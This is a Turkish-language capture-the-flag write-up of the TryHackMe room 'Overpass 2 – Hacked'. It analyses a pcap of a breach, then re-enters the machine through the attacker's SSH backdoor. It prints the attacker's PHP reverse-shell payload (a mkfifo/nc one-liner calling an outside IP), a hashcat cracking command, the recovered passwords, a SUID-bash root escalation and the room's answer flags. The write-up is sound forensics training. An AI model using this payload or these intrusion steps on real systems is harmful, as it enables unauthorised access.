TryHackMe OverPass 2 – Hacked

TryHackme de denk geldiğim bu oda,hacklenen bir sistemi analiz etmemizi ve hangi yöntemle hacklendiğini bulmamızı sağlıyor. İlk olarak bize verilen pcap dosyasını indirmemiz gerek. İndirdikten sonra network trafiğini analiz etmeye başlayabiliriz.

Task 1 Forensics – Analyse the PCAP

Soru 1) What was the URL of the page they used to upload a reverse shell?

Reverse shell yüklemek için hangi sayfanın kullanıldığını bulmamız gerek. Wiresharkta incelediğimizde /development altında upload.php dosyasına POST işlemi olduğunu görüyoruz.

Cevap : /development/

Soru 2) What payload did the attacker use to gain access?

Saldırganın erişim sağlamak için hangi payload’ı kullandığını görmek için wiresharkta ilgili isteğin üstüne sağ tıklayıp Follow sekmesinden TCP Stream’ı seçiyoruz. Bu sayede yüklenen dosyanın içeriğini görebiliriz.

Saldırganın kullandığı payload bu şekilde ;

Cevap : <?php exec(“rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.170.145 4242 >/tmp/f”)?>

Soru 3) What password did the attacker use to privesc?

Saldırganın hak yükseltme aşamasında hangi parolayı kullanığını bulmak için wireshark da tcp paketlerini incelediğimde python ile interaktif shell’e geçip .overpass dosyasını okuduğunu ve daha sonra “su james” komutu ile james kullanıcısına geçmek için kullanığı parolayı görüyorum.

Cevap : whenevernoteartinstant

Soru 4) How did the attacker establish persistence?

Saldırganın sistemde nasıl kalıcılık sağladığını bulmak için yukarıda incelediğim paketin devamına bakıyorum. Kalıcılık sağlamak için ssh-backdoor kullanmış.

Cevap : https://github.com/NinjaJc01/ssh-backdoor

Soru 5) Using the fasttrack wordlist, how many of the system passwords were crackable?

Paketi incelerken ssh-backdoor kullanmadan önce / etc / shadow dosyasını okuduğunu görüyorum.

Kaç sistem parolasının kırılabileceğini görmek için soruda belirtildiği gibi fasttrack wordlistini kullanıyorum. Bu wordlist ile 4 hesabın parolasını ele geçirebildim.

Cevap : 4

Task 2 – Research – Analyse the code

Soru 1) What’s the default hash for the backdoor?

Backdoor’un kullandığı varsayılan hash’i bulmak için github dan inceliyorum.

https://github.com/NinjaJc01/ssh-backdoor/blob/master/main.go

Cevap : bdd04d9bb7621687f5df9001f5098eb22bf19eac4c2c30b6f23efed4d24807277d0f8bfccb9e77659103d78c56e66d2d7d8391dfc885d0e9b68acd01fc2170e3

Soru 2) What’s the hardcoded salt for the backdoor?

Backdoor’un kullandığı salt’ı bulmak için kaynak koduna bakmak yeterli.

func passwordHandler(_ ssh.Context, password string) bool {
return verifyPass(hash, "1c362db832f3f864c8c2fe05f2002a05", password)
}

Cevap : 1c362db832f3f864c8c2fe05f2002a05

Soru 3) What was the hash that the attacker used? – go back to the PCAP for this!

Saldırganın kullandığı hash bilgisi wireshark da incelediğimiz pakette mevcut.

Cevap : 6d05358f090eea56a238af02e47d44ee5489d234810ef6240280857ec69712a3e5e370b8a41899d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec71bed

Soru 4) Crack the hash using rockyou and a cracking tool of your choice. What’s the password?

Programın kaynak koduna baktığımda kullanılan parolanın salt’landığını görüyorum.

func hashPassword(password string, salt string) string {
   hash := sha512.Sum512([]byte(password + salt))
   return fmt.Sprintf("%x", hash)
}

Dolayısıyla SHA512 hash’i kırmak için buna uygun bir formatta yazmam gerek.

Hash.txt içeriği;

6d05358f090eea56a238af02e47d44ee5489d234810ef6240280857ec69712a3e5e370b8a41899d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec71bed:1c362db832f3f864c8c2fe05f2002a05

SHA512 Hash’i kırmak için hashcat kullanıyorum.

hashcat --force -m 1710 -a 0 hash.txt rockyou.txt

Cevap : november16

TASK 3 Attack – Get back in!

Bu aşamada yeterli bilgiye sahip olduğumuz için makineye doğrudan erişmemiz gerekecek.

Soru 1) The attacker defaced the website. What message did they leave as a heading?

Cevap : H4ck3d by CooctusClan

Soru 2)Using the information you’ve found previously, hack your way back in!

Makineye ssh ile bağlanmamız gerek. Nmap taramasında görüldüğü üzere 2 ssh portu açık. 2222.port backdoorumuz.

nmap -sS -sV 10.10.184.31
┌──(root㉿kali)-[/home/kali]
└─# nmap -sS -sV 10.10.184.31
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-16 10:37 AKDT
Nmap scan report for 10.10.18.44
Host is up (0.083s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
2222/tcp open ssh OpenSSH 8.2p1 Debian 4 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel 

Bu porttan bağlanmak için saldırganın kullanığı “november16” parolasını kullanacağız.

ssh -oHostKeyAlgorithms=+ssh-rsa james@10.10.184.31 -p 2222

Soru 3) What’s the user flag?

Cevap : thm{d119b4fa8c497ddb0525f7ad200e6567}

Soru 4) What’s the root flag?

Root olma aşamasında suid bit ayarlı bash için -p parametresini kullanmak yeterli.

https://gtfobins.github.io/gtfobins/bash/#suid

Cevap : thm{d53b2684f169360bb9606c333873144d}

Bir yanıt yazın

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir